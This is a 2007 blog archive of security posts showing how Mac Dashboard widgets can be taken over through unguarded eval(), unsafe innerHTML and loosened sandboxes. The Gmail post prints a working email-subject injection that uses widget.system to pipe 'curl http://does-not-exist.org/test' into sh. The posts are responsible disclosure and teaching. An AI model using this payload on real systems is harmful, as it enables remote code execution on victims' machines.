« November 2007 | Main | January 2008 »

December 2007 Archives

December 3, 2007

JSON + eval(): Owning the Dashboard

Twitter has been all the rage for a while; I'll admit that I've been a late adopter (I've had an account since yesterday). It seems useful as a quick news agregator (with feeds like the NY Times and Heise) -- in particular when coupled to a dashboard widget on the Mac.

There are two dashboard widgets that let you both post and follow: Twitterlex and Twitgit. In plain English, both of these are huge security risks that create an easy way for an attacker on your network to take over your Mac. Uninstall them till there are new versions.

In technical terms, both are relatively simple pieces of JavaScript. Both use JSON to retrieve their data through the Twitter API. Both use eval() to evaluate the JSON data.

And that's a pretty big deal: JSON is short for JavaScript Object Notation. That means that data are encoded in a subset of the JavaScript programming language, the same language that these two widgets are written in. eval(), then, is the simplest way to parse that information: Instead of doing anything fancy, the data are fed to the JavaScript interpreter. Which will do its thing, and duly interpret whatever it is given.

And, for these Widgets, there is no sandbox to the rescue: While bad (and unsafe) JavaScript is a matter that affects just the perpetrator when it happens on an ordinary Web page, the sandbox for Dashboad widgets is actually configurable, Needless to say, both widgets are using that configurability: They both have the AllowSystem option set, to enable the widget.system() function. That method is used to execute arbitrary command line utilities, i.e., it grants as full control over the system as the user has -- and that often includes control over the /Applications folder.

Twitterlex, incidentally, at least has a reason to open the sandbox, using Growl for notifications. Quickly looking through Twidgit, I couldn't find any there, except that there was probably an example somewhere with the same code in it. Twitterlex makes up for this slight advantage by having an update notification mechanism that calls eval() on data retrieved from some URI on the programmer's Web server. What's currently returned from there looks benign; still, this would make for a marvelous backdoor.

How realistic are attacks against this kind of code? Very much so. Both widgets check Twitter regularly. Risks -- leaving malice on the side of one of the "legitimate" data providers aside for a moment -- include a subverted Twitter server (cross-site scripting will be enough, even though Twitter fortunately appears to be quite paranoid about that), a subverted server on the author's side in the case of Twitterlex, and a man-in-the-middle attack against the data retrieval. The latter is quite easy to launch, as no cryptographic protection is used at all: Either ettercap or a subverted captive portal will do nicely.

All this illustrates some security fundamentals: When there are easy, but insecure, options, people will exercise them. If they can use eval() instead of JSON.parse(), they will do that. If they can break out of a sandbox, they"ll do that. In particular if that doesn't keep the widgets from being installed. And if these two things can be done in one widget to make life more interesting, then that will happen, too.

Finally, if the same programming platform can be used locally that is known from the Web, then we'll see the same programming style (and mistakes), and we'll see local and Web vulnerabilities blur into each other.

December 4, 2007

Show me a JSON-based Widget...

... and I show you an unguarded eval().

Today's examples:

  • The Facebook Widget accesses about a dozen facebook APIs through JSON. It's based on the facebook JS Library. And guess what the parseJSON routine in that library really is? This widget runs with the AllowFullAccess configuration option set.
  • The Flickr Interestingness widget is another culprit. This one only runs with the AllowInternetPlugins flag; if subverted, it might give an attacker access to, say, the latest Quicktime hole. Don't think it's enough to secure your browser.
  • The Hockey Widget doesn't do JSON; instead, it loads some web page and parses an embedded script by, you guess it, feeding it to eval(), after some minor searching and replacing. AllowNetworkAccess is set.

The bad teaching award of the day goes to the AOL Xdrive developer documentation: The Open XDrive Usage Meter of course accesses XDrive through JSON, and of course it uses eval() to parse. It has a sibling Windows Vista sidebar gadget; same problem. By the way, the security model for these gadgets gives access to ActiveX controls that are not marked "safe for scripting".


December 8, 2007

More on widgets: Exploring the Network

In my last musings about widget security, I was very brief about the Flickr Interestingness and Hockey widgets. After all, they both just provide the AllowNetworkAccess capability. I had overlooked that there is a shared cookie store on the Mac, shared, that is, at least by Safari and the Dashboard. From a bit of experimenting, it seems like that sharing affects all non-session cookies.

Now, what does that mean? A widget with the AllowNetworkAccess privilege can issue HTTP requests anywhere. These HTTP requests will carry the same cookies as a request from a just-started Safari instance. Therefore, any Web application that relies on persistent cookies for authentication (like many Web 2.0 services) can be used by such a Widget without the user's permission.

There are several attack scenarios here: A subverted widget could be a bridgehead behind a corporate firewall, with convenient access to intranet applications. And when a Web 2.0 site serves as the path through which a widget is exploited, then subverting widgets with AllowNetworkAccess might in fact be enough to deploy some rather interesting malware.

December 11, 2007

Copyright takes down the "Bubble"

The Richter Scales' here comes another bubble was a fun video and an excellent mash-up -- while it lasted: What was the video's page on Youtube is now a notice that "This video is no longer available due to a copyright claim by a third party." On the Richter Scales' Blog, there are some musings about mash-ups and credit; no word about the takedown, yet.


It'll be interesting to see what happened, and what will happen next -- at 690,575 views in some 10 days, this must be the highest-profile takedown in quite a while; for a change, it's a piece of art, and a parody.

December 19, 2007

More on widgets: When one e-mail is enough to break a system.

Excuse the widget blogging hiatus, please; I held back on this one till Google had rolled out a fix.

Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the widget.system method. However, the bug in question here does not relate to eval(). Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.

Consider this code fragment:

      var titleText = MessagesTable
      titleText =
          '&nbsp;&nbsp;&nbsp;<span class="title-class">' 
          + titleText
          + '</span>';
      if (Prefs.getShowSnippets()) {
        var summaryText = MessagesTable.getSummary(currentEntry);
        summaryText = '<span class="snippet-class"> - ' 
          + summaryText
          + '</span>';
        titleText += summaryText;
      titleText = "<div class='table-overflow-col'>" 
        + titleText + "</div>";
      titleColumn.innerHTML = titleText;

The use of the non-standard innerHTML property to write to the DOM here means that, if we can inject tags into the titleText variable, we can actually write tags into that document object model.

Instead of reading more code, I sent a first message to my GMail account, with this subject:

 Subject: <i>italic?</i>

Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <script> tags into the subject header failed, though: innerHTML doesn't actually execute scripts right away.

However, this worked:

Subject: <a href="#" onmouseover=
  'var foo=widget.system ("curl http://does-not-exist.org/test
  | sh", null).outputString;'><span class="title-class">hi 

As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.

What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.

Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as .innerHTML, or using safer programming constructs such as createTextNode.

The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the W3C Web Application Formats Working Group, which works on a widget format, will have to take on, together with the various widget vendors).

On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.

Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, Orkut was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through cross-site XMLHttpRequest, or through deliberate cross-site script inclusion --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.

I hope to talk more about this at this year's Chaos Communication Congress in Berlin, and perhaps at the Web Conference next April in Beijing.

December 28, 2007

When Widgets Go Bad

My lightning talk from 24c3 this morning, on youtube:

About December 2007

This page contains all entries posted to No Such Weblog in December 2007. They are listed from oldest to newest.

November 2007 is the previous archive.

January 2008 is the next archive.

Many more can be found on the main index page or by looking through the archives.

Creative Commons License
This weblog is licensed under a Creative Commons License.
Powered by
Movable Type 3.35